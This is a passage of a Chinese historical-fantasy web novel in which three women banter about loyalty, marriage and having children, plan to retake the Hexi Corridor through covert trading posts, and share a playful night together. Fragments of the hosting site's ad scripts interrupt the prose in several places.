我一手拦着花铁铁,一手拦着平安,继续道:“我啊,原也只希望我妹妹嫁得良人子孙满堂一生幸福。于是,我苦练本事,拼命赚钱,御隆山庄一案后,我本打算从外域回来,安顿好堂邑夫,让他从军,我呢从此和妹妹隐居于闹世也就算了,可是自傍海道救下杜晦……他被人折磨的不成样子,我还是根据他大腿根上的胎记,认出他的,他那样的人也落得那副田地。让我心惊,后怕,我这样身有残疾的人,有朝一日老了,弱了,该怎么办呢?妹妹该怎么办呢? 唉,有钱,有本事,又能怎样?就算是武林盟主又能怎样? 我们都是杀业重的人,会不得好死的,我只求不要牵连妹妹就好,只要平安好好地,我们一辈子不相认也好,所以那阵子我就和师兄苏和一起,在洛阳待着,不打算来找妹妹了。后来……后来到了长安城,一切事情就都是机缘巧合了。我现在什么也不想,就想跟着我家主子,好好当只狗,要是有幸建功立业,我也是哮天犬。现在,我有靠山了,天下第一靠山,谁敢欺负我们?谁也不敢欺负我们。”都说靠人人跑,靠山山倒,那是靠的人不够强,山不够高,我选的人选的靠山,是天底下最靠得住的了。 平安感动不已,红着眼睛,抹着泪,听我说自己是哮天犬,又不禁破泣而笑。 “哎呦,还真有靠山了不一样,都说仗人势的狗精神,我也没机会瞧见什么样子。今日真是长见识了。你呀你就没有尾巴,不然你得把尾巴摇秃撸毛了都,你还真是最合适当狗。”花铁铁见不得我一脸洋洋得意。 “应该说,我干什么都有天赋,当狗都当的这么狗。”我荣耀万分的道:“当狗嘛,当然要当天下第一狗。” “哎呦,你一心当狗,我不拦着,我也拦不住,可是我这也不打算走了,但是留下跟着你这矮脚狗子无所事事也不是回事儿啊。”花铁铁又犯起愁来,她是没想到从前高高在上的凤主,如今能把身段放的这么低,可转头看着月光下那个漂漂亮亮胖嘟嘟的娃娃,她又忍不住喜欢,“哎,你说你都这幅狗样子的,我怎么还那么喜欢你呢?” 我叉着腿躺平,枕着胳膊,道:“因为我知世故而不世故,历圆滑而弥天真,正所谓巧诈不如拙诚!”说完,我看着花铁铁,很认真的道:“……铁铁,我们都是这世间最真诚的人,从来以诚待人,识人,择人……尤其你我,是彼此用最真的心最诚的情筛选出来的人,怎会不真心喜欢呢?” “真心是真心,可我怕,毫无防备的信任,换来刻骨铭心的教训。”这样的亏,谁没吃过,连杜晦都狠狠栽在这上头,花铁铁说完躺回去,也学我的样子,枕着胳膊。 平安道:“对啊,我也害怕,真心最难得,真心也最不值钱,你看去街上买东西,哪户店家不这样说:真心要吗,真心我给你便宜点。” 我们哈哈一笑。平安接着道:“我从来不质疑真心,我也揣着一个真心,可是真心这东西,瞬息万变的,扪心自问是也不是?自己尚且如此,何况对方?这一生山高路远,给出多少真心,就给了对方多少伤害你的机会,给错了人,刻骨铭心怕都是轻的,人啊,到最后全凭良心。”碰上没良心的,可不是要扒层皮,半条命?总之代价惨重! 我道:“你说的对,说得真好!可是我们愿意给啊,忍不住想给啊,交付真心,我们是快乐的是幸福的不是吗?所以真心不能没有,有了不能不给,给要看给谁,那个人你觉得值得,你就给,勇往直前的给,被辜负了也没啥,输了就输了呗,我喜欢刻骨铭心,那种彻骨之疼让我感觉自己有血有肉的活着,死了,也无悔。可是赢了,我就像现在一样,拥有了花铁铁,对吧!!”我看着夜色如水,一切如幻似梦,眸子里闪烁着光芒万丈。 “对对对,我何尝不是拥有了你呢?啊,活得多通透多理智才有你这样的境界,都快修炼的不是人了。”花铁铁一番轻嘲,却掩饰不住心中的感动。 我坐起身来,更加自嘲,用手上下打量了一下自己,道:“我都这样了,若不通透不理智还能怎样?” 我忽然的一番动作,花铁铁本能的防备,随即她讪讪一笑,尴尬的轻轻咳了咳,收了招式。 我呵呵一笑,道:“堤防是习武人的天性和本能,与信任与否无关。咱们这种人,彼此有真心就很难得,有什么信任可言呢,信任这种东西有就有没有就没有,咱俩以为的那点儿信任,其实根本算不上信任。”我顿了顿道:“我要你跟了我,做个当家夫人,你不愿意,我其实心里也不大坚定,你说咱俩要真做了夫妻,晚上怎么睡觉啊,噢你刀架我脖子上,我刀架你脖子上?”如此防备着,图啥?图累,图睡不好觉? 我们三人想了一下那个画面,都哈哈笑了起来。花铁铁和我还比划了一下,说真要那样一觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 睡到天亮,第二天也僵硬的动不了了。我说那也得敢睡才行,比起信任,我更加确定的是不相信。因为我们都不相信彼此舍得彼此死,我不相信你会杀我,你也不相信我会杀你,我坚定这一点,确定你不会怀疑我给你的茶有问题,所以屡屡得手了。 比起信任,更加确定的是不相信,呵呵,然后这最后一点坚定也被利用了,花铁铁又是一番感慨,她是真没想到,她要去做摄政王的谋臣,我立马送上毒茶,她转身回来,我立马给她解毒,她要做王妃,我立即端上毒茶,她犹豫不决,最终想去从军,我一个手抖就把解毒茶给撒了个干净,她还怕我尴尬,帮我找补……还要把她的月刃分我一半…… 她简直要气死了,我低头,像个做错事被抓现行的孩子,让人气也不是,骂也不是,反倒觉得可爱,我软软糯糯地低声道:“情况不一样了嘛,我现在是有主子的人了……” “狗!”花铁铁黑着脸强调。 “好好好,我现在是有主子的狗了,凡事不能只为自己着想,得以主子的大义为先。忠诚不绝对,就是绝对不忠诚。你也说了,巅峰对决,绝不手软,你做了决定,我就得出手了。”我一番话说的不卑不亢。 花铁铁自然明白各为其主的道理,叹了口气,道:“唉,但愿留下是我此生做的最正确的决定,你可别叫我后悔,哼,你是不会给我后悔的机会的,那杯毒茶我也再不会给你理由端给我。” 不知道是不是那一夜,还是后来,我对花铁铁说:我们是彼此爱惜,铁铁,没遇到你之前,我只觉得在这世间活着就好,遇见你后,就觉得这世间有你和我一起活着真好。我舍不得你死,我绕了好大一圈,才给你的不必死圆了一个很好的理由,虽然你留下的决定,让这个理由用不上了,可是能保下你,我真的很开心。你是天赐的恩赏,出现在我的生命里…… 我说我现在最大的愿望,就是建功立业,回头封个王侯啥的当当,也能保一生平安。花铁铁问,你这样的当了王侯,你家天子放心啊。我说有啥不放心的,我虽然一身的本事,但是我身有残疾断子绝孙啊,我还能造反啊,我本来就为了一生安安稳稳,我回头就造反图啥,图过瘾,图没人继承还被当成乱臣贼子遗臭万年?再说,造反是谁想造反就造反的过家家啊,得拉帮结派,我一个光杆,一个孤臣,我造什么反?花铁铁说也是,说我果然最适合当狗,天生的皇家狗。 虽然决定留下,但花铁铁也为自己茫然的未来思虑,她说她要不也当狗吧,回头也建功立业,到时候我给她当赘婿,她出去借种,多生几个孩子,我俩一起养着,一大家子幸福美满。 我吓得一哆嗦,道:当狗你就别和我抢了吧,本来安安稳稳挺好的,你把我招了,再生一窝小的,我还怎么安心当狗啊,有了后,别管是不是我的,等孩子一大,谁还信我能安心当狗啊,有咱们这两个人做爹娘,孩子长大了心大了也不安分了,咋办?一家子造反啊?到底图什么啊? 咱们初心就是为了图个安安稳稳,凡是不安稳的事坚决不做,不安稳的想法,想也别想。不忘初心,方得始终,初心易得,始终难守,所以初心要始终坚守。 花铁铁没想到我觉悟这么高,不禁对我当狗的专业性,表示真挚的赞叹和肯定。 我特意十分强调:我忠心耿耿,只为建功立业,为君分忧,封王侯啥的,不是目标,只是小小的愿望,有,自然开心,没有也不奢求。我警示花铁铁别正好给弄反了,一旦效忠之心有了功利性,忠心就不纯了,陪王伴驾可不能有一星半点儿的掺假,就是一句话:忠心不绝对,就是绝对不忠心! 85. 借种 花铁铁不可思议,直言:“当狗你都当出一套心得了,我也是服了,哎呦,这么看跟着你当狗也不容易,不过有你珠玉在前,我依葫芦画瓢,也不能差了。” 我说:“你一个如花似玉的美人,就别当狗了,今年也十八了,也该是嫁人的年纪了。嗯……李家大公子就不错,人品持重。”他原配前两年难产母子俱损,丧期早过了,提亲的门槛都踏破了,抢手得很,只是李大公子痴情,一直未肯应。我催促花铁铁赶紧把他拿下,别叫人家捷足先登。又道:“你们花家祖上也是老唐的名将,花家枪比他李家刀还威风。你俩般配。” 花铁铁道:“可别提花家枪了,都失传了个屁的了,做续弦啊,那李家大爷不是头婚,岁数挺大了吧。” “岁数大?!”我愣了一下,有点惊讶花铁铁的关注点,想了想道:“嗯……比咱们大个六七岁吧也就,不算大,岁数大了好啊,岁数大了会疼人啊,你不是不喜欢嫩瓜秧子吗,我这才专门贴心给你踅摸大一点的,咋地,这几年你改口味了?” “……李家大爷,他们一家都在京城哈,那,走,你带我去他家夜探下子,我先瞧瞧人。”花铁铁得相看相看再做决定。 我赶紧拦下花铁铁,“哎不用,人这会儿当差呢……就那个不打不相识,和你对砍的那个,生的好看,又高大又威猛,关键人品好……我要是长成了,我就嫁了,到不了你都……”我小小的激将着。 平安也帮腔,一个劲儿随着我一起夸李大公子。 “不行,这门婚事我不同意,一上来就刀兵相见的,不吉利,回头我俩晚上睡觉,洞完房得怎么睡,他刀架我脖子上,我刀架他脖子上?”花铁铁连说带比划。 我们三人脑补那个画面,又是一阵哈哈大笑…… 花铁铁忽然转过弯来,道:“哎,那李家大爷可不就是你那二爷的亲大哥吧!哎呦,要说咱能当妯娌也挺好的,那这门婚事我能同意,你还得叫我一声嫂……”花铁铁兴奋起来。 我赶紧打住她,“快别做你的春秋大梦了,这辈子没戏了。” “哎,走,带我去看看李家二爷,看看生的什么摸样,实话实说他哥确实生的不错,想来他也长得人五人六的,不然你们能传出……”花铁铁似乎对李家二公子更感兴趣。 我有些恼羞:“去去去……快闭嘴,别胡说八道,我俩啥事也没有……我现在是小子了,你可别再胡说八道给我添乱了。”我赶紧转移话题,“怎么样?李家大公子确定是不行是吧,要是还行,我给你去说和。” 花铁铁撇了撇嘴:“还是算了吧,我不喜欢有过女人的,都给人家用过了,再好,我也不要。” “他是丧偶,又不是乱来,用过了又怎样,洗洗还能用。”花铁铁怎么计较上这个了?那堂邑夫怎么办?我对花铁铁的转变有些不可思议,道:“咋地,你还跟男的一样,介意对象是不是处儿啊!?” 平安蹙眉道:“长安你这话就不对了,怎么男人可以介意女人,女人就不能介意男人吗?这一点我站花铁铁。” “……”嗯?平安居然在这件事儿上和花铁铁一个认知?我还是不死心,对花铁铁道:“嫁过去,你公公就是李远大将军,你老公公就是李信啊,那可是兵神李信啊!” “……洗洗倒是能将就用,但是……心里总是膈应得慌。”花铁铁是有些动摇,有些松口,可到底还是过不了心里那一关,最后还是给我回绝了。平安也说,男人脏了太膈应,再好的男人也不能要了,男人就得从一而终。两个人惺惺相惜,相逢恨晚,颇有互为知己的样子,显得我格格不入…… 唉,人长大了,终究是要变的,只是她们为啥对这方便这么在意?我很是不解。 “那,那李二公子呢,李二公子我给打包票,那是个干干净净的童男子,走,我带你去相看相看,确实如你所猜,生得十分俊俏,你且去看看能不能相中,相中了我去和他家老太太说项。他这会儿也在汤泉宫当值,跟在太子身边的,你之前扫了几眼的那几个伴读里就有他,我这就带你去相看,给你指一指哪个是他,走……”说着我就拉花铁铁起身,要飞身下殿宇。平安叫我带上她,别把她忘了,我自然不能忘了她。 花铁铁比我还清醒的样子,一把按住我,坚定而认真道:“哎哎哎,就冲这点,你跟李家二爷绝对没什么,我信了,可我根本不能嫁到李家去啊,他家勋贵世家,老祖宗是李信,几代人都军权在握,我这一身本事,跟了他,再生几个孩子,这条件也够啦,啥也不干,看着也挺像造反的了。而且论起来,他家更符合条件,还不如跟着你这个孤臣。” 花铁铁能这么快想明白这一点,我心中暗喜,却一脸恍然大悟的样子,“嗷呦,对啊,啧,不好办了还。”双手托腮,犯起愁来。平安也托着脸蛋儿,一脸愁容。 花铁铁倒洒脱起来,道:“要不我也别嫁了,大汉不时兴借种嘛,我也入乡随俗,去随意借个种,也不给你做夫人,也不耽误你当狗,就只跟着你过日子,咱们安安稳稳嘻嘻哈哈一辈子也挺好的,对吧。”花铁铁到底还是想嫁人的,末了又加了一句:“有看上眼儿的再说。” “嗯嗯嗯……”我点点头,“我其实很想和你成为家人的。” 花铁铁说她就是要和我成为家人,要不也没有留下来的意义了。却也有些失落,道:“哎呦,谁承想,这一身本事,有一天还成负担了,没点个残疾,还让人不放心了你说。” “滚!”我黑了脸。 花铁铁一脸滚就滚的样子,“借种去。”说着就飞身而去。 “哎,借什么种?这么急?”我心里隐隐不安,赶紧叫住她,问。我可得弄清楚她要借谁的种,怎么借。 “借狗种!”花铁铁停在宫墙上,黑着脸用话噎我,嫌弃一向聪慧的我能问出这么低级弱智的问题。 我也黑了脸,不屑地小声埋怨,我就多余问,然后叫她注意点,说狗的那个和人的不一样,让她别伤着身子。 花铁铁转头狠狠瞪了我一眼,骂我小东西果然不是好东西,一点亏也不吃,是便宜就占。然后张开双臂,自由自在的样子,道:“这汤泉宫男的多了是了。” 果然打起了歪主意,我脑子瞬间一疼,这个花铁铁,我可得看紧了别让她乱来,这里可是皇家御苑汤泉宫,是宫!! 平安简直要被花铁铁吓死了,紧张的都带着哭腔了,急道:“铁铁你别乱来,你要不再飞远点,这里可不行,在这里叫秽乱宫闱,要,要杀头的,他们,他们不会借给你的……而且……” 花铁铁飞回来,问道:“而且什么?我花铁铁要借,谁敢不借,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敢的,我也不稀罕借!” 啧,这个花铁铁心高的很,一般男人她可看不上眼,她别是动起了那些人的心思吧!?八成了!看着花铁铁势在必得样子,我叹了口气道:“皇家的种,你死了这条心,皇家对这种事情很严格的,从陛下到亲王,身边都有人跟着,这种事都有人专门记录,断不会让皇室血脉流落在外的,你别借不来,还把自己搭进去了,羽林卫可不是吃闲饭的,领头的就是李远大将军,到时候拉你去砍头,江湖上可有的传了,你花铁铁的脸面往那放,哦,你们听说了没,胭脂虎花铁铁去强~奸大汉皇室,裤子还没脱,就给人拉出去砍稀碎了。”我学着花铁铁之前传谣的样子,偷感十足。 平安忍不住偷笑,花铁铁脸黑得发紫,我只做没看见,继续自顾自道:“自然你是不必用强的,你这样的美人,只要轻易撩拨,皇室的男人……是个男人就把持不住,自然对你难以抗拒,泥足深陷,必定是争前恐后的愿意,礼法也顾不得,可就算你使点手段侥幸借着了,养大了,到底是皇家的血脉,终究也得给人要回去,白忙活一场,别怨我没早和你说。铁铁,劝赌不劝色,你非要,我拦不住你,可你别犯糊涂,那种子金贵,生来就是人上人,我可不想你原本是一心想着给自己生儿防老,最后却给自己生了个祖宗,我倒是不怕被你拖累,再供奉一个贵人,可你自己□□生出来的,自己供着,难受不?”首先自然要抬举一下花铁铁,安抚一下,别让她炸了。然后再给她说明白借皇室的种百害而无一利。 “是哈。鬼门关里走一遭……啧……”花铁铁寻思了半天,很是赞同我的话。儿女是主子,当娘的是奴婢,这种情况天下多了去了,南唐世家门阀里尤其多,她花铁铁可不干这种事儿。 “瞧,还真是打了这个谱了。”我和平安对视,双手一摊,无奈的样子,然后思忖着赶紧堵死花铁铁下一条路,道:“那些世家子弟你也别打主意了,道理和你嫁李家一样。” “那我也别借种了,直截了当地找个亲王明媒正娶嫁了当个王妃你看怎样?”花铁铁问道。 “别了吧,你倒是敢想敢嫁,可亲王们敢不顾礼法和你露水情缘,也敢不要名誉纳你做妾,但又有哪个敢明媒正娶的娶你?娶妻那是要入宗祠祖庙的,就算爱你爱的鬼迷心窍,真敢大逆不道上折子请婚,天子也不准啊,齐王之前受蒙骗,那么痴迷宠爱那个江湖女子,也只是封了美人,不敢跃雷池半步。” 平安趴在我肩头,一脸严肃地对花铁铁道:“铁铁你这一身本事,又是江湖名士,你跟亲王比跟世家子弟,还叫人忌惮些。” 我闻言只觉平安太上道了,把我接下来的要点花铁铁的关键,直接提上来了,于是像小鸡啄米似的点着头,很赞许的看了看平安,给她竖了一个大拇哥。 花铁铁分晓其中厉害,瞬间泄了气,“这也不行那也不行,那我也别借种了,蒙块红布跪路边那种,我实在也做不出来。”汉家女子借种很常见,都是头上蒙着红布,跪在路边儿,见着合心意的就上前求种,人家若是答应,他们就找一处隐秘地方行事,自始至终女人是不露脸的。 我道:“我也不许你那般,你的孩子就是我的孩子,自然是要好好重视的。男人选地,女人选种,借种,也有讲究,也不是什么种都可以的,有的人天生就是坏种……” 86. 河西 言及于此,花铁铁与我对视,想到了杜威,于是听得更加认真,我接着道:“贵族女人都是要胎教的,可她们都以为胎教是从怀孕开始的,但其实真正的胎教,是从选种就开始了,选的时候不能光看品相,人品自是第一,其次看他严慈,然后审察健康,最后才是样貌。你别光顾着看脸,也别太自信,光想着地好,种啥都是好苗苗,听见了没?” “嗷呦,这也不行,那也不行,这也有讲究,那也得思虑,我看我还是干脆回南唐得了。”花铁铁头疼死了,泄了气,心思一下子不在如何选种上了,完全打起了退堂鼓,道:“我还觉得我怎么也得是个王妃,再不济也得是个世家主母,最差也得是这些人出力出种,我不要名分,也省得束缚。谁想到我这一身本事还成了坎儿了,哼……”花铁铁委屈地哼哼着,我刚要安慰她,她便气鼓鼓的道:“在大汉我跟谁谁看着像要造反的,那我和大汉相克啊,我不如直接回南唐跟我们摄政王得了,反正他就是个天生造反的乱臣贼子,我还能给他加把火明明白白坐实了倒也痛快。” 嘢,时候到了,赶紧往回圆,赶紧抛枝子,不然花铁铁该留不住了,“呸呸呸,别胡说,自暴自弃也就算了,清清白白的姑娘家,做什么跟了那个乱臣贼子作践自己。谁说你和大汉相克的,你和赵洛那个王八蛋才相克,你跟着他,你啥也没干,啥也不用干,一过门上来直接就与他同享罪名,生生世世的罪名,轮回几次到阎王那里也洗不干净,孩子也是乱臣贼子,我方才教你那么多,你可倒好,一上来就往最孬的种上选,还不如在路边随意借的种实在。铁铁,你姓啥呀你姓花呀,你们花家祖上一门忠烈,噢你最后跟个乱臣贼子生一窝孬种,你要干什么,你对得起你这个姓氏吗?将门花家的故事,到现在也在大江南北流传,戏本子《花家将》年年唱,你又不是不爱听,从小看戏就抢着坐前排,洋洋得意和我显摆,说你姓花。” 花铁铁红着眼圈,有些感动又有些自豪,还有些伤怀。“小的时候……”忽然间她觉悟到什么,震惊不已,“哎,我可不记得我和你说过我的身世啊,你,你怎么知道我是花家后人?” “你都显摆成那样了,我又不是傻子。小的时候就隐隐猜到了,刚才给你和李大公子说亲,随口提起花家枪,你顺势就接了话茬,我就破案了啊。”我两手一摊,呵呵一笑,平安喜欢我的古灵精怪,也对花铁铁的身世更加重视。如此显赫的身世被揭晓,花铁铁倒有些不自在了,又自豪,又羞怯的样子,这种少有的情绪,让她看起来更加美丽。 我接着说正事:“河西之役你们花家军孤军奋战,死战到最后一人,不论是当时的百姓,还是后世的黎民,不论是当时书写历史的刀笔客,还是如今挥斥方遒的封疆吏,人人心中都有一杆秤,那一战惨败丢了河西走廊,罪不在花家,是老唐上位者的过失,花家惨烈荣光万世,载入史册,彪炳春秋,一百多年了,仍然流芳。铁铁,你作为花家最后的血脉,若是有朝一日收复河西,那也是恢复祖上荣光,光耀史册的丰功伟绩对吧,所以你和大汉可不是相克,是相生相旺,旺得很,河西非你莫属,舍你其谁?” “上下嘴皮子一碰,说得真轻松,说得好像河西明天我去喊一嗓子就收复了似的。”花铁铁抹了抹眼泪,哽咽道:“我都给你说心动了,热血沸腾的,差点就信了。” “肯定不能一蹴而就,但你得信啊。”我郑重其事道:“河西丢了以后,老唐和西域彻底断了通路,西面大门也因此被羯奴把持,大乱战全面爆发,山河自此破碎,河西之地在羯奴手里百余年了,不是说收回来就收回来的,得从长计议……” 花铁铁思考一番,说那她还是得去从军,我说不用从军,不是空有一身好武艺就能上阵杀敌的,带兵打仗也是门学问,做学问就要下苦功夫,花心思耗精力,没个几年,出不来将军,兵熊熊一个,将熊熊一窝,急功近利反而误了将士的性命,伤天理。 花铁铁一听,又躁动起来,我说我话还没说完,让她别急且耐心听完。“我现在只单单有一个想法,你先听听,具体还得从长计议,我的意思是可以先打通商道……” 打通商道?!不是要收复河西吗,怎么又要去做买卖?花铁铁和平安都疑惑的不行,却也没有继续打断我,只按捺住性子,继续听我细说。 “我和堂邑夫之前去西域寻药,顺便一番探查,我认为此计完全可行,打通商道只是表象,明着建立商户暗中安插据点,星罗棋布,整个走廊沿途行商走商,最后串联起来,正所谓散是满天星,聚是一团火,蚕食才可鲸吞,时机成熟,大军压境,里应外合,一网打尽……具体策略,咱们日后慢慢规划,细细详谈,若是能够完成此举,收复河西指日可待。” “明修栈道暗度陈仓?”平安惊道。 我问是什么,平安支支吾吾说是她看过的一本书上的典故,又看了看花铁铁,眼神示意我不要细究。我自然明白又是那个世界的事情,于是只含糊作幌子问哪本书上的典故,叫她回头找找给我看看。平安点点头。 “……听着甚是可行,可那西域我一次也没去过,语言我也不熟,国家大事战略部署格局宏大,一点不像和以前做任务那样,这毫无目标,毫无情报,毫无头绪的,我都不知道从哪下手呢……”花铁铁蹙眉思虑,这和以前做江湖任务完全不同,花铁铁是真的无从下手。 “哎,你都说了治大国如烹小鲜,这会儿葱花炒鸡蛋不灵了?哎哟,别自己吓自己,只要你肯下决心,我定然从长计议,给你制定方案,规划细则,保你建功立业,万无一失。嗯,先给你推荐个人,你去河西,带上堂邑夫。” 我才说完,花铁铁就要炸,我赶紧安抚: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “哎……你先别烦他,别急着拒绝,做大事儿,身边哪能没个知根知底的人助益呢。堂邑夫最合适,他正好心里有对不起你的事儿,你正好抓着把柄好好奴役他,他必定对你言听计从,唯你是命。他是我的人,我亲自调~教好的,做事做人你也是知道的,这样一个人,你留在身边用着多顺心多顺手啊。儿女私情放一边,就事论事,他可是西域活地图,外域的话说得比我溜,很有用的。你收复河西,堂邑夫你用定了。将门之后,胸怀大一点儿,得有容人之量不是?等你建功立业,你们花家恢复荣光,到时候陛下亲自给你招赘,延续花家香火,圣旨给你装点门面,铁券丹书保你富贵,到时候你可别忘了我啊,你放心,咱们好好给天子当狗,这么大一份儿投名状,天子对咱们只有信任没有猜忌,谁也不敢用造反来构陷咱们。” 平安也拉着花铁铁的手道:“苟富贵,勿相忘。”花铁铁点点头,随即又问,勿相忘是肯定的,可为什么狗富贵?平安扯了扯嘴角,一时语塞,然后忍着笑捂着肚子一番解释。花铁铁尴尬,红着脸说看来还真是得多读书。我听得认真,叫平安闲来无事整理一下她那边的典故,我要看要学习。不管是否同属一个世界,人类的智慧都是无穷大的,可以穿越时间空间的束缚,指导人类文明的进步。 “你跟着我一起去收复河西建功立业呗。”花铁铁道。 “行啊。”我能理解花铁铁的不安,毕竟这不是一个小目标。即便自信满满,热血激昂,可面对如此宏大极有可能改变历史彪炳春秋的壮举,人都会感觉到自身的渺小,而心生胆怯。看似随口的邀请,不过证明她十分需要我的支持和陪伴。好朋友,讲义气,我跟! “我也想去西域,带上清哥哥好不好,这么大一份事业,谁出力不是出力,让我家哥哥也分一点功劳呗。”平安也热血沸腾,积极响应。 “行啊。”那真是太好了,我和花铁铁喜不胜出。人多力量大,众人拾柴火焰高,我们向来喜欢人多,不仅热闹,还可以集众智,合众力。 “那汉家天子是不还没睡呢吧,咱们去找他吧,叫他赶紧下旨,咱们天亮出发。”花铁铁等不及了。 “不用这么着急吧。都说了从长计议,这才一个影子,就去找陛下请旨,未免儿戏。”我让花铁铁稍安勿躁,一边思考一边道:“咱们得兵分两路,明面上朝廷得派人带使团,手持节杖,出使西域,咱们这一路人马暗中扮作商人经营。” “河西走廊狭长辽阔,东西两千六百里,东起乌鞘岭,西至西域三十六国,想要拿下河西走廊,咱们必须深入羯奴两千里,这还不是最要命的地方,最要紧的是这里气候地形极其复杂多变,咱们前期要准备好充足的战略物资,最最关键的是人手,人是最重要的。”从古至今,人都是最重要的资源。成大事,必要人众方得圆满,寡则无功。 87. 舍利 “这项壮举,得用不少人呢,朝廷明面上只能出一个使团,而且还是规模不能很大的那种,这事儿到底不能动作太大太引人瞩目,对吧。”我一边说着,一边思量,“暗地里要做的事就更多了,我想与其等着朝廷分派或者招募私兵暗卫,不如咱们自己想办法诏安,我的门人,你的门人,都得启用,还有江湖上和咱们交好的侠肝义胆之士,都是可用之人,但这些都得从长计议,不是你带着我,我带上平安和堂邑夫郑清,咱们几个拍拍屁股走就行的,所以,不着急不着急哈,天也晚了,咱家陛下累了一天了,这会儿就是没睡,也和宝贝儿子一起话家常呢,白天的事儿,他吓得不轻呢,咱们别去惊扰他了,赶紧下去收拾收拾睡吧。” 花铁铁那还有心思睡觉啊,“可,我叫你说的满腔热血,这会儿毫无睡意。” 我故作严肃,道:“做大事,得有定力,三句两句话就睡不着,那以后四句五句话是不还得窝里斗干架啊,七句六句就翻脸踹窝子,趁早散伙吧,还干个屁大事儿啊。睡!睡不着,河西就放那吧,你以后也别姓花了,随意找个姓草的姓粪的嫁了吧。” “你才嫁姓粪的,哪有姓粪的,你天天就知道胡说八道。”花铁铁虽然埋怨我推搡我,却笑得不行。平安也笑的花枝乱颤,差点摔下去,我们飞身下了殿宇,回到丛芳园,准备就寝,花铁铁抱着我道:“我要跟你脱光光贴贴睡,培养培养信任。” “那我岂不是占便宜了,你不介意,我自然愿意,啊哈哈哈……我要摸着咪咪睡。”说着我就扯她衣服,往她怀里钻。 “你好香啊。”花铁铁抱着我深深嗅着我,沉醉不已的样子。 我警觉的抬头看着她道:“哎,你要是忍不住光想吃我,十六个咪咪我也不愿意。”我说着从她怀里出来,把自己的枕头和花铁铁的枕头挪开。 “你这点儿小个儿,都不够我塞牙缝的,顶多就是亲两口。”花铁铁亲了我一下,把枕头重新靠在一起,问谁有十六个咪咪?我肯定不能告诉她魏宁儿家里的猪十六个奶~头,一窝能下十七个崽子。 夜深了,我们收拾妥当就睡下了,花铁铁紧紧把我搂在怀里,虽然都是女人,也熄了灯,但借着月光,平安清清楚楚看见我和花铁铁那个亲密样子,感觉简直无法直视,“哎呀你们两个……真是,大夏天的,穿的少一点可以,但是光着身子贴贴,你们不嫌热得慌啊?” “不热不热,我们是玄止境。”花铁铁越过我看着平安说道,然后伸手拉她过来,“你来贴贴,看看我们是不是清凉的很。” 平安翻了个身,贴过来,惊奇道:“是挺……” “舒服吧?比抱着竹夫人好一千倍一万倍吧。”花铁铁说着把占地儿的竹夫人都踢下床。 “嗯,就是有点,羞得慌。”平安点点头,我们确定她的脸一定红了,她说话的声音都带着羞涩。 “都是女的,羞什么?你也脱光……”花铁铁起身说着就帮平安宽衣,我也去帮忙。 “哎呀,你们两个讨厌死了,别扯我肚兜,哎呀,赶紧睡吧。”平安打开花铁铁的手,一个翻身躲远一点,然后打了我一下,嫌我胳膊肘往外拐。于是三个人扭打在一起,不知道谁先开始挠痒痒,我们三个互相挠痒痒乱成一团,嬉闹起来,“啊哈哈哈哈……” 好一会儿才平静下来,花铁铁借着月光,看着平安的肚兜,端详了好一会儿,道:“你这肚兜的样式真特别,真好看。” 平安起身轻轻一拉身后的丝带,成排的绳扣,像机关一样顺滑的脱锁弹开,平安说这叫圣女扣,拉错了绳结,越系越紧,根本打不开,找对了绳结,一拉就开。平安将她的肚兜脱下来递给花铁铁,花铁铁细细的看着,还往自己身上试了试,赞叹不已。 平安说这是真丝抹胸,薄而透气,外面一层花样是蕾丝,内里加了竹撑,胸部加厚加了竹骨,起到固定的作用,说不然跑跑跳跳动作稍微大一些,就坠的难受,尤其是骑马的时候。花铁铁表示深有体会,她总是勒的紧紧,又闷又热又难受,于是问平安高价买这个。 平安说这个尺码小了一个罩杯,不合适花铁铁,她要给花铁铁做一个新的,又说姊妹之间谈钱伤感情,这个不难做,就是蕾丝难编些,这些天她懒耽,不然新的蕾丝早就编好了,明天赶赶工,最多两日就能做好送给花铁铁。花铁铁感动的不行,千恩万谢,然后非要送一些珠宝首饰给平安,让她嵌上。 花铁铁和我一样,一向喜欢在肚兜上缀满珍宝。 平安一边用手丈量花铁铁的罩杯,一边呵呵笑道你们怎么那么喜欢在贴身衣服上缀珠宝啊,又沉又硌得慌。花铁铁说喜欢啊,取悦自己啊,然后说,嫌沉的话,她正好有很多很细小的珍珠宝石,金珠银珠也多不胜数,个头太小了,原也没啥用处,正好缝在抹胸上,保证不沉也不硌得慌,又好看,又能取悦自己。 我看着她们美好的身体,又低头看了看自己,心里有些难受,嚷嚷着说我也要,结果她俩说我不需要。我很生气的样子,猛地翻身过去,打着呼噜睡着了。花铁铁贴上来,逗了我半天不见我有反应,对平安道:“你哥,翻身翻得太猛,给自己撞昏死过去了吧。” 平安道:“就是睡着了,打呼噜呢,不可能是昏过去了,咱们也赶紧睡吧。”说完两人对视一笑。 夜深了,房间里终于安静下来,可不一会儿,我们又笑了起来,好不容易安静,一个屁,又让我们笑了好久……年轻的女孩子们就这样闹着笑着睡着…… 三更灯火五更天,正是男儿读书时。我和花铁铁起身练功,我引导她如何闭息在水中运功,如何借助汤泉提升内力,滋养经络,疏通筋脉……她在武学 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上十分有天赋,往往举一反三,三生无穷,然后炉火纯青!! 不到四更,我们便各有精进,敛气凝神,收了招式,出了汤泉。凌晨的夜,安静极了,月亮也被层层叠叠的宫墙殿宇挡住,只有孤单的星辰洒在藏蓝色的天空里。羊角灯里的烛光摇曳,我看着跳动的小火焰发呆。 花铁铁为了感谢我,送给我一个礼物,说是南唐皇室之物,她神神秘秘的握在手里,然后变戏法的似得在我眼前几个闪现,忽然唰的一下,小火苗一蹿,一条项链出现在我面前。 